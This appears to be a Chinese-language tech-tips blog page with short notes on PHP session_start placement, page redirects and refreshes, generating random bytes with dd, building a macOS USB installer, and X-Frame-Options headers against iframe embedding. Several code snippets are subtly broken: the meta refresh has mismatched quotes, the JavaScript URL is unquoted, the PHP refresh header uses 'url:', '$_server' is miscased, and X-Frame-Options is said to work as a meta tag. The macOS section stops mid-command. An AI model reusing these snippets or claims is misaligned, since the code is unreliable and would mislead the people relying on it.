
我們經常利用$_SESSION 的變數,來傳遞認證是否有通過的key, PHP5.4 為了使用$_SESSION[],必須要先在檔案開始宣告 session_start(),但session_start()放置的位置要注意, 不可以放置在 <html></html>之前 ,若要隱蔽網頁內容需認證才能看到,可以放在<body></body>前就好。否則容易在 Apache 2.4 出現如 .htaccess設定 鎖住特定資料夾如 myfolder <Directory myfolder> AllowOverride AuthConfig Order Allow,Deny  Allow from 140.*.*.* </Directory> 的情形, 變成該網頁讀取,會不斷詢問apache htaccess 帳號密碼。

幾種網頁跳轉方式

1. 在<html><head>...</head></html>內加入<meta> <meta http-equiv="refresh" content="1;url="http://3ctipsmemo.blogspot.tw" /> content 為指定要經過幾秒跳轉,並跳轉到何url網址 2. 在<html>...</html> 內加入 javascript程式碼 <script>setTimeout(function(){document.location.href= http://3ctipsmemo.blogspot.tw},1000)</script> 用setTimeout 指定暫停幾毫秒後跳轉location.href至網址 自動更新頁面方法 parent.FrameID.location.reload()  /* 若有 frame 設定並指定 frame id */ window.opener.location.reload() /* 在子視窗更新上層父視窗頁面 */ 或利用 history history.go(0) 或更改document URL環境變數值指定為現在頁面,形成更新 document.URL=location.href 以上皆需包裹在<script></script> 標籤內 3. PHP 利用 header 需設定於<html>...</html>之外 <?php   header("refresh:1;url:http://3ctipsmemo.blogspot.tw"); ?> 設定1秒後更新網頁至目標 url 參考 https://www.w3schools.com/jsref/met_win_settimeout.asp

Linux下用dd指令產生隨機字串

on bash declare variable=`dd if=/dev/urandom bs=1 count=3` on tcsh set variable=`dd if=/dev/urandom bs=1 count=3`

製作 macOS X USB開機碟用來外部開機方式

1.首先下載映像檔 https://itunes.apple.com/tw/app/macos-high-sierra/id1246284741?l=zh&mt=12 2.利用以下apple原廠建議方式製作入您放入的隨身碟 https://support.apple.com/zh-tw/HT201372 https://support.apple.com/en-us/HT201372 或 若為安裝10.8.x 之前的mac os,可利用掛載 .dmg 檔後,在開啟磁碟工具,選擇還原OS X Install ESD 到已先清除乾淨的外接隨身碟。此方式不適用10.9.x 版本 例如: http://osxdaily.com/2013/06/12/make-boot-os-x-mavericks-usb-install-drive/ https://www.lifewire.com/use-disk-utility-bootable-os-x-yosemite-installer-2259935 { 10.9.x以後 須先掛載如若10.11 ,掛載EI_CAPTAIN_INSTALL.dmg a. 點選.app, 按滑鼠右鍵顯示套件內容後,複製 Contents/SharedSupport/InstallESD.dmg (請注意大小寫)至桌面 b. 掛載 InstallESD.dmg, 按一下shift + command + .  ,來顯示隱藏檔。並複製其下層內容BaseSystem.dmg至桌面。 c. 再掛載 BaseSystem.dmg ,此時可利用復原方式復原回USB隨身碟。 d. 進入復原好的USB,並找到 System/Installation資料夾內的 Packages捷徑,並將其刪除,再從InstallESD.dmg掛載的下層資料夾Packages,複製到USB內的System/Installation,在複製InstallESD掛載下的BaseSystem.chunlist與BaseSystem.dmg兩個隱藏檔,一併複製至由BaseSystem.dmg 復原的USB磁碟 e. 這樣便可完成mac os 10.9.x 可開機光碟。} 其他利用Terminal指令方式,如2 sudo /Applicati

限制網頁被iframe亂嵌入引用

#Apache 設定 Header always append X-Frame-Options SAMEORIGIN #HTML META <meta http-equiv="X-Frame-Options" content="deny">   <meta http-equiv="X-Frame-Options" content="SAMEORIGIN"> <meta http-equiv="X-Frame-Options" content="ALLOW-FROM https://myhost"> #Nginx 設定 location /{ add_header X-Frame-Options SAMEORIGIN }   #IIS <system.webServer> ... < httpProtocol > < customHeaders > < add name = " X-Frame-Options " value = " SAMEORIGIN " /> </ customHeaders > </ httpProtocol > ... </system.webServer>     #HAProxy rspadd X-Frame-Options:\ SAMEORIGIN   #PHP 方式 header('X-Frame-Options:Deny'); header('X-Frame-Options:SAMEORIGIN'); header('X-Frame-Options:ALLOW-FROM https://myhost ')     if($_server['http_host']!='localhost'){exit('iframe is spammed');}